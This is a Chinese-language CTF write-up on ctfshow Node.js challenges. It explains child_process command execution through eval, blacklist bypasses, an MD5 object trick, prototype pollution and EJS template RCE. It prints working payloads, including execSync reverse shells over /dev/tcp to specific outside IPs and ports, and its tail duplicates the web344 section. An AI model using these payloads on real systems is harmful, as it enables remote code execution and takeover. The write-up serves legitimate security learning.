ctfshow_node.js模块的练习
node.js
什么是node.js
Node.js是JavaScript语言的服务器运行环境
个人理解就是可以将 javascript 作为后端语言运行的一个环境
服务器 – 后端
浏览器 – 前端
个人思考过的问题
javascript和java有关系吗?
以下是chatgpt的回答
JavaScript和Java虽然在名称上很相似,但是它们是两种完全不同的编程语言,并且没有直接的关系。
JavaScript是一种解释性的脚本语言,它的语法规则比较灵活,允许开发人员在编写代码时更加自由地表达自己的思想。
Java则是一种编译型的语言,它的语法规则比较严格,不允许开发人员在语言方面有太多的自由度。
至于他们为什么这么相似,以下是chatgpt的回答
总结:javascript是蹭热度的
没有什么概念定义可以讲的,看题吧
CTFSHOW_node.js模块
1.web334(toUpperCase函数)
先在首页面下载附件,附件中含有两个js文件
在user.js附件中的代码是
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
在 Node.js 中,每个模块都是一个独立的作用域,它们的变量和函数默认都是私有的,无法被其他模块访问。为了使得模块的内部内容能够被其他模块访问和使用,Node.js 提供了一个特殊的对象 module.exports
,用于将模块的某个变量或函数导出给其他模块使用。
在 Node.js 中,每个模块都有一个 module
对象,该对象包含了模块的相关信息和方法。其中,module.exports
是一个属性,用于将模块的内容导出。
具体到这段代码来说,这段代码是一个 Node.js 模块,它定义了一个名为 items
的数组,其中包含了一个对象,该对象具有 username
和 password
两个属性。此外,该模块使用 module.exports
将该数组导出,使得其他模块可以引用和使用该数组。
在其他模块中引用该模块时,可以使用 require
函数来获取该模块导出的内容,例如:
const myModule = require('./myModule.js');
//const用于声明一个常量,在声明是必须初始化,且不能被重新赋值,通常用于存储不变的值
console.log(myModule.items);
这里的 myModule
是导入的模块对象,可以通过 myModule.items
访问到该模块中导出的 items
数组。
然后再看一下另一个js文件,也就是实现主要功能的文件
var express = require('express');
var router = express.Router();//
var users = require('../modules/user').items;
var findUser = function(name, password)
//定义了一个名为 `findUser` 的函数,该函数接受两个参数 `name` 和 `password`,用于表示用户输入的用户名和密码。
{
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next)
//req(request):封装了HTTP请求的所有信息,包括请求头、请求体、请求参数等等,通过访问req对象的属性和方法可以获取这些信息。
//res(response):封装了HTTP响应的所有信息,包括响应头、响应体、状态码等等,通过访问res对象的属性和方法可以设置这些信息。
{
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
//接受请求体中的username,password参数值
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
主要实现检测功能的代码是
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
-
return users.find(function(item){})
:在users
数组中调用find
方法,查找符合条件的用户。find
方法接受一个回调函数,该函数会被依次传入数组中的每个元素item
,如果该函数返回值为true
,则find
方法会返回该元素,否则继续查找直到数组末尾。因此,在这个回调函数中需要实现对输入的用户名和密码的匹配逻辑。return name !=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
:这是回调函数的实现,具体解释如下:
name!=='CTFSHOW'
:!==这是 JavaScript 中的一种比较运算符,表示严格不等于,如果输入的用户名不等于字符串'CTFSHOW'
,则返回true
,表示该元素匹配成功。item.username === name.toUpperCase()
:这也是一个判断条件,如果输入的用户名经过转换为大写字母后与该元素的用户名相等,则返回true
,表示该元素匹配成功。item.password === password
:同上,如果输入的密码与该元素的密码相等,则返回true
,表示该元素匹配成功。- 如果以上三个判断条件均返回
true
,则说明该元素是符合要求的用户,find
方法会将该元素作为返回值返回给findUser
函数,否则继续查找。如果数组中没有符合要求的元素,find
方法会返回undefined
,此时findUser
函数也会返回undefined
。
所以理一下思路,现在的目标是使传入的name参数在经过toUpperCase函数后变为“CTFSHOW”,然后传入的name在一开始不是大写的“CTFSHOW”即可
传入小写’ctfshow‘和密码即可
一开始看粗略看wp时以为本题和toUpperCase的特性有关系,但是并没有,不过这里记录一下
toUpperCase():
ı(这是土耳其语中的字母“i”(小写)) ==>I
ſ(这个字符是历史上使用的拉丁字母“s”的一种形式,称为长s) ==>S
toLowerCase():
İ(土耳其语和阿塞拜疆语等一些土耳其语族语言中的一个字母) ==>i
K ==> k
K的话看不出什么特别的,好像粗一点
这关可能是想让用这个特性绕过,那样的话应该是把小写的ctfshow ban了 不太李姐
2.web335(spawnSync函数执行系统命令)
源码中提示了含有get传参,参数名为eval
那应该就是传入一个命令使用js中的eval函数执行了
payload(显示当前目录下的文件和文件夹列表)
require('child_process').spawnSync('ls',['.']).stdout.toString()
解释一下这串代码:
require
是 Node.js 中用来引入模块的函数,在这里引用了Node.js的child_process模块
child_process
模块是 Node.js 标准库中的一个模块,它提供了创建子进程的功能,可以通过它执行系统命令、shell 脚本等。其中包含有spawnSync()方法,spawnSync函数可以用来执行系统命令
spawnSync(‘ls’,[‘.’]) 前面代表命令,后面是一个参数,这里的 . 代表着当前目录, … 代表上一级目录 …/… 代表上上级目录
这中间用于连接的两个点是用来访问对象属性的
'stdout’是一个缓冲区,它包含了子进程的标准输出,也就是说输出的内容在这里
toString()转换为字符串
payload执行成功后,页面回显
发现了里面有fl00g,txt,应该就是存放flag的文件了
于是可构建出payload
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
3.web336(黑名单绕过)
和上一题一样样的,只是将文件名由fl00g.txt改为了fl001g.txt,不再赘述
这里看了别的师傅的wp,尝试了三种命令执行,后面两种都被ban了
所以这里是考察了下黑名单
require('child_process').spawnSync('ls',['.']).stdout.toString()
require('child_process').execSync('ls').toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
/?eval=require(‘fs’).readFileSync(‘/app/routes/index.js’,‘utf-8’)用这个payload可以看到index源码,但是不清楚它怎么知道的路径
这是源码
将exec,load给ban掉了
4.web337(MD5绕过)
题目界面给出一段源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
看起来像是MD5绕过,要求两个参数值长度一样,MD5加密后值一样
这里是强类型比较,不能用0e开头的那几个数
采取数组(bushi)绕过,得到flag
这里是一开始的一个误区,认为这个是数组了
有wp上给了一串如下的代码
在jsp中,上面是属于数据类型“对象”,下面是属于数据类型“数组”
代码运行结果得到的是
也就是说输入对象是两个 ”对象“ 类型时,在经过加法运算后的值是一样的(那么MD5加密后的值也是一样的)
所以按照以下payload传入值是正确的
这样的话第一个payload中传入的值就不是数组类型了,问chatgpt
所以前面说的”数组绕过“我不认为是对的,我认为叫对象绕过更贴切,虽然有点别扭
5.web338(原型链污染)
先了解一下什么是原型链污染
在此之前,先了解什么是原型链
原型链:原型链是实现继承的主要方法。其基本思想是利用原型让一个引用类型继承另一个引用类型的属性和方法。每个构造函数都有一个prototype属性,指向原型对象。原型对象都包含一个指向构造函数的指针(constructor)。把构造函数的prototype属性修改成另一个构造函数的实例,此时原型对象就将包含指向另一个原型的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立,如此层层递进,就构成了实例与原型的链条。这就是原型链的概念。
举个例子(chatgpt举得)
// 定义一个构造函数
function Animal(name) {
this.name = name;
}
// 在构造函数的原型对象上定义一个方法
Animal.prototype.sayHello = function() {
console.log('Hello, I am ' + this.name);
};
// 定义一个子构造函数
function Dog(name, breed) {
Animal.call(this, name); //将子类实例的 this 对象作为参数传递给父类的构造函数,并传递一个 name 参数。这种方式被称为使用构造函数继承,它的作用是在子类中创建一个父类的实例对象,并将其绑定到子类的 this 上,从而实现子类对父类属性和方法的继承。
}
// 子构造函数通过原型链继承父构造函数的方法
Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;
// 在子构造函数的原型对象上定义一个方法
Dog.prototype.bark = function() {
console.log('Woof, woof!');
};
// 创建一个子类的实例对象
var myDog = new Dog('Buddy', 'Golden Retriever');
// 调用父构造函数和子构造函数继承的方法
myDog.sayHello(); // Hello, I am Buddy
myDog.bark(); // Woof, woof!
在上面的例子中,Animal
是父构造函数,Dog
是子构造函数。Animal
构造函数的原型对象上定义了一个 sayHello
方法,Dog
子构造函数的原型对象上定义了一个 bark
方法。子构造函数通过 Object.create
方法继承了父构造函数的原型对象,从而继承了父构造函数的方法。最终,myDog
实例对象可以访问父构造函数和子构造函数继承的方法。
这就是一个简单的原型链,说起来复杂其实还好
那什么是原型链污染?
简单来说,就是当原型对象被修改时,对应的所有实例化对象都会被影响。
通过篡改原型链,使得原本不应存在的属性或方法被添加到对象中,从而对对象产生意想不到的影响。
举个例子
假设我们有一个名为Person
的构造函数,它有一个name
属性和一个greet
方法:
codefunction Person(name) {
this.name = name;
}
Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}`);
}
现在假设我们的应用程序包含一个从未被信任的源加载的脚本,它在全局作用域中定义了一个名为Person
的对象:
// 危险代码来自不受信任的源
Person = {
name: 'Evil Hacker',
greet: function() {
console.log('I am going to hack you!');
}
};
如果我们现在创建一个Person
实例并调用greet
方法,将调用不受信任的源中定义的方法而不是我们预期的Person.prototype.greet
方法:
const person = new Person('Alice');
person.greet(); // 输出"I am going to hack you!",而不是"Hello, my name is Alice"
这就是一个简单的原型污染示例。通过修改全局Person
对象的原型,不受信任的代码覆盖了我们的Person
构造函数的原型,使其定义的所有实例都受到影响。
跟反序列化异曲同工
说了这么多 看题吧
routes/login.js中源码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {"__proto__":{"ctfshow":"36dboy"}};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
可以看到输出flag的条件是 secert.ctfshow===‘36dboy’
发现下面的copy函数,可能会用到,查看一下来源
在utils/common.js中源码
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
这段代码实现了一个深拷贝函数,将object2的属性和值拷贝到object1中。如果object2中的属性是一个对象,就递归调用copy函数拷贝该对象的属性和值。如果object1中已经存在相同的属性,就将object2的属性值覆盖掉object1的属性值。
所以这里的思路就是利用 utils.copy(user,req.body);这串代码了,从代码中可得知,接收的参数是POST请求的数据,会保存在req.body中,然后copy函数将其中的值赋予给user
secret
对象直接继承了Object.prototype,所以污染Object.prototype即可
构建payload:
"__proto__":{"ctfshow":"36dboy"}
这样的话Object.prototype的原型链就被污染了,添加了一个叫ctfshow的类,值为36dboy,于是后面检测 secert.ctfshow===‘36dboy’ 时,secret找不到ctfshow这个类,就按照原型链去找,就在object的原型中找到了
抓包修改post参数
6.web339(一层污染反弹shell)
不同对象所生成的原型链
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9N5M7hd9-1683204555209)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230419164811162.png)]
这里要求”ctfshow“的参数为flag中的值,不知道flag的值,所以这里没法利用了
api.js中:
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
这段代码是一个 POST 请求的处理程序,使用了 Express 框架。首先,通过 require(‘body-parser’).json() 加载了一个解析 JSON 格式请求数据的中间件。然后,当接收到一个 POST 请求时,调用一个匿名回调函数来处理该请求。
在处理程序中,使用 res.type(‘html’) 设置响应头的 Content-Type 为 html,然后通过调用 res.render(‘api’, { query: Function(query)(query)}) 渲染一个名为 api 的视图模板,并传递一个名为 query 的变量和它的值。
在传递的值中,Function(query)(query) 实际上是将字符串类型的 query 解析成函数并返回,然后再将 query 作为函数的参数传入并执行。 在这懵了挺久来着,下面是解释
在这行代码中,Function(query)
创建了一个新的函数对象,其中 query
是一个字符串类型的参数,代表了这个函数的函数体。当调用 Function(query)
时,JavaScript 引擎会将这个字符串类型的参数解析成一个可执行的函数,并返回这个新创建的函数对象。
接着,在将这个函数作为一个对象传递给 res.render
的时候,使用了对象字面量的语法 { query: Function(query)(query) }
,表示一个包含一个属性 query
的对象,属性值为一个函数的调用结果。
而 Function(query)(query)
的含义是先调用这个函数对象,并将 query
作为函数的参数传入执行,最终的结果就是将 query
字符串解析成了一个函数,并执行了这个函数,返回了一个新的结果。因此,query
这个字符串被解析成了一个函数,并作为参数传入了自身,最终返回了一个新的结果。
所以这里可以利用query进行污染
payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.113.225.37/2223 0>&1\"')"}}
将服务器和端口替换一下就好
抓包传入该payload,访问api路由触发
服务器端开启监听
反弹shell成功
flag在/routes/login.js中
7.web340(两层污染反弹shell)
和上题差不多,但是需要向上污染两级
login.js源码
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){ // 向上两层
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
user.userinfo
第一层是函数Function
,再向上一层是Object
对象
api中的源码没有变
于是照猫画虎构建payload:
{"__proto__":{__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.113.225.37/2223 0>&1\"')"}}}
下面的步骤就不赘述了
8.web341(ejs模板rce)
rce(Remote Code Execution)远程代码执行
本关没有api.js文件了,看一下login.js的源码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
ejs模板,payload如下
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/119.29.60.71/4567 0>&1\"');var __tmp2"}}}
访问任意一个页面触发路由即可
9.web342-web343(jade原型链污染)
学识尚浅,日后再来研究
10.web344(node.js特性 )
题目给出源码
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig))//g是全局匹配的意思匹配成功,match方法会返回一个包含所有匹配项的数组,否则返回null
{
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
//JSON.parse()是JavaScript中的一个内置方法,将HTTP请求中的查询参数query的值(通常为字符串类型的JSON格式数据)解析为JavaScript对象。
//req.query.query 是指 Express 框架中的请求对象(req)中的查询参数对象(query),这里的req.query是一个对象,代表了请求中的查询参数,而第二个query则是我们自己定义的查询参数名称,即我们需要从查询参数中获取的值所对应的名称。
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
这里给出flag的条件是query变量中的name属性和password属性谓特定的值,query变量是取自请求体中的query属性的query属性中,同时url中不能匹配有8c和2c和逗号
%2c是逗号url编码后的表示
正常想要进行原型污染的话应该是输入
?query={"name":"admin","password":"ctfshow","isVIP":true}
然而这里禁用了逗号以及2c,所以这里没法直接使用该payload的
这里使用了node.js的特性,&也可以用来连接三个属性,nodejs会自动拼接
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则。
所以将c或双引号编码一下即可
payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
.isVIP===true){
res.end(flag);
}else{
res.end(‘where is flag. 😃’);
}
});
这里给出flag的条件是query变量中的name属性和password属性谓特定的值,query变量是取自请求体中的query属性的query属性中,同时url中不能匹配有8c和2c和逗号
%2c是逗号url编码后的表示
正常想要进行原型污染的话应该是输入
?query={“name”:“admin”,“password”:“ctfshow”,“isVIP”:true}
然而这里禁用了逗号以及2c,所以这里没法直接使用该payload的
这里使用了node.js的特性,&也可以用来连接三个属性,nodejs会自动拼接
?query={“name”:“admin”&query=“password”:“ctfshow”&query=“isVIP”:true}
双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则。
所以将c或双引号编码一下即可
payload:
?query={“name”:“admin”&query=“password”:“%63tfshow”&query=“isVIP”:true}
[外链图片转存中...(img-D8FoAia7-1683204555210)]